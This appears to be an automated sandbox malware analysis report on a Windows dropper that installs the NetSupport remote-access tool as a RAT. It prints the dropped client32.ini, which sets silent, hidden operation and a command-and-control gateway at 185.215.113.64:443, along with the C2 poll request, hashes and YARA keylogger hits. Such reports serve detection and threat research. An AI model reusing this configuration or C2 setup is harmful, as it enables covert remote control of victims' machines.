Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@..................................K....@.................................< ..<....0...i...........t..x).......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Downloads\client32.ini

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	702
Entropy (8bit):	5.536854980364518
Encrypted:	false
SSDEEP:	12:YTNWqzd+mPZGS/py6z8BlsVTXuZ7+DP981E7GXXfDWQClnmSuh6IAlkz6:yWqzEmPZly6YBlLoG1fXXfDiU6IAaz6
MD5:	A4AA9219BECDEEC09159270BB041BB35
SHA1:	2D08305017EFB0A1FF7DEFDF66DB80191ED9CCF8
SHA-256:	277B9BCB5778CD5DC167ED75528818B06ED12F3FD427339F3085F4DB8A39ED2E
SHA-512:	4F7CE001DA009FCBA0C5BEAB572A16306D56FD91253C45D5196892142DA78EC805982A4E1C136AD61471B5A951697EED76F9EE63D8B94EB64024A11E0FD0DE42
Malicious:	false
Preview:	0x58095535....[Client].._present=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAOeJWid73S6SvOyjjiTDVewA..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0......[HTTP]..GatewayAddress=185.215.113.64:443..gsk=EFHH;K>OBDEJ9A<I@BCB..gskmode=0..gsku=EFHH;K>OBDEJ9A<I@BCB..GSKX=EFHH;K>OBDEJ9A<I@BCB....

C:\Users\Public\Downloads\msvcr100.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Downloads\nskbfltr.inf

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\Public\Downloads\pcicapi.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Downloads\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Downloads\remcmdstub.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77224
Entropy (8bit):	6.793971095882093
Encrypted:	false
SSDEEP:	1536:zfafvTuNOwphKuyUHTqYXHhrXH4+LIyrxomee/+5IrAee/DIr3:jafLSpAFUzt0+LIyr7eR5IUeCIz
MD5:	325B65F171513086438952A152A747C4
SHA1:	A1D1C397902FF15C4929A03D582B09B35AA70FC0
SHA-256:	26DBB528C270C812423C3359FC54D13C52D459CC0E8BC9B0D192725EDA34E534
SHA-512:	6829555AB3851064C3AAD2D0C121077DB0260790B95BF087B77990A040FEBD35B8B286F1593DCCAA81B24395BD437F5ADD02037418FD5C9C8C78DC0989A9A10D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L...c..c.....................J.......!............@.......................... ............@....................................<.......T................]..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loca[1].htm

Download File

Process:	C:\Users\Public\Downloads\bild.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	15
Entropy (8bit):	2.7329145639793984
Encrypted:	false
SSDEEP:	3:QJgTG:QkG
MD5:	8AB0D91EF06123198FFAC30AD08A14C7
SHA1:	46D83BB84F74D8F28427314C6084CC9AFE9D1533
SHA-256:	DB50064FEE42FB57DCFD9C4269A682331246224D6108A18DB83ABD400CCECA12
SHA-512:	1AA8560708AD663C4D5D0C2199E2CE472D11748EDA18848AAA3430C6F333BB04DA65DFFF4144BFEEA3860CA30F7F832EC64FF6D5B0731AC8878050601AC7A3A3
Malicious:	false
Preview:	32.7767,-96.797

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.940358895406796
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'137'945 bytes
MD5:	b51e761b009c658073fd0dc66c8f808f
SHA1:	8dd8a45980efcae93eec634987396a0a6a3e62e9
SHA256:	bf2165a4bdafb0945c8b370758e6d0b9ab145147e7ddab448a01b3b25c2ad8a7
SHA512:	5566a09c50e5d05435a1edb1a7cefdc375e6f656acc69250ffb1a2a051f1a807eb41abc11a1bc489695a4ab80b11150c8f8d8a9867291ac4a33155397a260367
SSDEEP:	49152:VIfd6RO0EkHbG+Ww6NbHHBp7k5hhelN6YawnqLKwgVR9:VI1P/wYt5ShAiYawbwW
TLSH:	94A52302F9C6C5B2D533083A0A68AB55797DBF342F28DD6FA78D5E1ACA301517338A53
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........~..............b.......b..<....b......)^...................................................... ....... .......%....... ......

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41d779
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C72EA7E [Sun Feb 24 19:03:26 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	00be6e6c4f9e287672c8301b72bdabf3

Entrypoint Preview

Instruction
call 00007FD5549074EFh
jmp 00007FD554906EE3h
cmp ecx, dword ptr [0043A1C8h]
jne 00007FD554907055h
ret
jmp 00007FD554907666h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00430FE8h
mov dword ptr [ecx], 00431994h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FD5548FA5EDh
mov dword ptr [esi], 004319A0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004319A8h
mov dword ptr [ecx], 004319A0h
ret
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00431988h
push eax
call 00007FD55490A1FEh
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 00431988h
push eax
call 00007FD55490A1E7h
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007FD55490705Ch
push 0000000Ch
push esi
call 00007FD554906622h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FD554906FBEh
push 00437B58h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FD5549098E6h
int3
push ebp
mov ebp, esp
sub esp, 0Ch

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x38cd0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x38d04	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0xe034	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6c000	0x1fd0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x36ee0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x31928	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30000	0x25c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x38254	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2e864	0x2ea00	8c2dd3ebce78edeed565107466ae1d3e	False	0.5908595844504021	data	6.693477406609911	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x30000	0x9aac	0x9c00	b8d3a709e8e2861298e51f270be0f883	False	0.45718149038461536	data	5.133828516884417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x213d0	0xc00	7a066b052b7178cd1388c71d17dec570	False	0.2789713541666667	data	3.2428863859698565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gfids	0x5c000	0xe8	0x200	0a8129f1f5d2e8ddcb61343ecd6f891a	False	0.33984375	data	2.0959167744603624	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x5d000	0xe034	0xe200	d62594e063ef25acc085c21831d77a75	False	0.6341779590707964	data	6.802287495720703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6c000	0x1fd0	0x2000	983e78af74da826d9233ebaa3055869a	False	0.8060302734375	data	6.687357530503152	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
PNG	0x5d644	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	1.0027729636048528
PNG	0x5e18c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	0.9363390441839495
RT_ICON	0x5f738	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	0.47832369942196534
RT_ICON	0x5fca0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	0.5410649819494585
RT_ICON	0x60548	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	0.4933368869936034
RT_ICON	0x613f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	0.5390070921985816
RT_ICON	0x61858	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	0.41393058161350843
RT_ICON	0x62900	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	0.3479253112033195
RT_ICON	0x64ea8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9809269502193401
RT_DIALOG	0x68c1c	0x2a2	data	0.5296735905044511
RT_DIALOG	0x68ec0	0x13a	data	0.6624203821656051
RT_DIALOG	0x68ffc	0xf2	data	0.71900826446281
RT_DIALOG	0x690f0	0x14e	data	0.5868263473053892
RT_DIALOG	0x69240	0x318	data	0.476010101010101
RT_DIALOG	0x69558	0x24a	data	0.6262798634812287
RT_STRING	0x697a4	0x1fc	data	0.421259842519685
RT_STRING	0x699a0	0x246	data	0.41924398625429554
RT_STRING	0x69be8	0x1dc	data	0.5105042016806722
RT_STRING	0x69dc4	0xdc	data	0.65
RT_STRING	0x69ea0	0x468	data	0.375
RT_STRING	0x6a308	0x164	data	0.5056179775280899
RT_STRING	0x6a46c	0xe4	data	0.6359649122807017
RT_STRING	0x6a550	0x158	data	0.4563953488372093
RT_STRING	0x6a6a8	0xe8	data	0.5948275862068966
RT_STRING	0x6a790	0xe6	data	0.5695652173913044
RT_GROUP_ICON	0x6a878	0x68	data	0.7019230769230769
RT_MANIFEST	0x6a8e0	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	0.3957333333333333

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, GetTickCount, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T17:47:04.429888+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.4	49730	185.215.113.64	443	TCP
2024-11-01T17:47:19.359874+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.4	49732	TCP
2024-11-01T17:47:58.150435+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.4	49749	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 17:47:04.429888010 CET	49730	443	192.168.2.4	185.215.113.64
Nov 1, 2024 17:47:04.429934978 CET	443	49730	185.215.113.64	192.168.2.4
Nov 1, 2024 17:47:04.429996967 CET	49730	443	192.168.2.4	185.215.113.64
Nov 1, 2024 17:47:04.491976976 CET	49730	443	192.168.2.4	185.215.113.64
Nov 1, 2024 17:47:04.492055893 CET	443	49730	185.215.113.64	192.168.2.4
Nov 1, 2024 17:47:04.492120981 CET	443	49730	185.215.113.64	192.168.2.4
Nov 1, 2024 17:47:05.067661047 CET	49731	80	192.168.2.4	104.26.1.231
Nov 1, 2024 17:47:05.072566986 CET	80	49731	104.26.1.231	192.168.2.4
Nov 1, 2024 17:47:05.072706938 CET	49731	80	192.168.2.4	104.26.1.231
Nov 1, 2024 17:47:05.073067904 CET	49731	80	192.168.2.4	104.26.1.231
Nov 1, 2024 17:47:05.077910900 CET	80	49731	104.26.1.231	192.168.2.4
Nov 1, 2024 17:47:06.084556103 CET	80	49731	104.26.1.231	192.168.2.4
Nov 1, 2024 17:47:06.088368893 CET	49731	80	192.168.2.4	104.26.1.231
Nov 1, 2024 17:48:54.946928024 CET	49731	80	192.168.2.4	104.26.1.231
Nov 1, 2024 17:48:54.952828884 CET	80	49731	104.26.1.231	192.168.2.4
Nov 1, 2024 17:48:54.952891111 CET	49731	80	192.168.2.4	104.26.1.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 17:47:05.049680948 CET	60720	53	192.168.2.4	1.1.1.1
Nov 1, 2024 17:47:05.062645912 CET	53	60720	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 17:47:05.049680948 CET	192.168.2.4	1.1.1.1	0xdb3e	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 17:47:05.062645912 CET	1.1.1.1	192.168.2.4	0xdb3e	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false
Nov 1, 2024 17:47:05.062645912 CET	1.1.1.1	192.168.2.4	0xdb3e	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false
Nov 1, 2024 17:47:05.062645912 CET	1.1.1.1	192.168.2.4	0xdb3e	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.64connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.64	443	6768	C:\Users\Public\Downloads\bild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 17:47:04.491976976 CET	220	OUT	POST http://185.215.113.64/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 185.215.113.64Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.26.1.231	80	6768	C:\Users\Public\Downloads\bild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 17:47:05.073067904 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 17:47:06.084556103 CET	963	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 16:47:06 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8dbd5d5c1ca8e97a-DFW CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDACBSDDAB=PHIDEFECEIEMIDJOKKFNFGOA; path=/ cf-apo-via: origin,host X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tdg3mBWerWnNncKn4zz2EQHnj%2BCdLH3Gh%2FItsAGGAVgLB7fGWKJGCwhCKBJRmYB6zxhTLhCP4mdTFpdtTtJRTlJ4h0FoVyTQvw2VniNbyRhZ6HfVZicLj6PjAEcH0%2BVBcRveAx3xGzI%2B3nEZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1704&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 33 32 2e 37 37 36 37 2c 2d 39 36 2e 37 39 37 0d 0a 30 0d 0a 0d 0a Data Ascii: f32.7767,-96.7970

Target ID:	0
Start time:	12:46:59
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1d0000
File size:	2'137'945 bytes
MD5 hash:	B51E761B009C658073FD0DC66C8F808F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000000.00000003.1740000186.0000000002915000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:47:02
Start date:	01/11/2024
Path:	C:\Users\Public\Downloads\bild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Downloads\bild.exe"
Imagebase:	0xb10000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.4167415871.0000000000942000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000000.1742735258.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.4167843040.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000001.00000002.4167415871.000000000088E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Downloads\bild.exe, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.9%
Total number of Nodes:	1481
Total number of Limit Nodes:	35

Executed Functions

Function 001EC131 Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 199
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001DF353: GetModuleHandleW.KERNEL32 ref: 001DF36B
Part of subcall function 001DF353: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 001DF383
Part of subcall function 001DF353: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 001DF3A6

Part of subcall function 001E8B8E: GetCurrentDirectoryW.KERNEL32(?,?), ref: 001E8B96

Part of subcall function 001E9036: OleInitialize.OLE32(00000000), ref: 001E904F
Part of subcall function 001E9036: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 001E9086
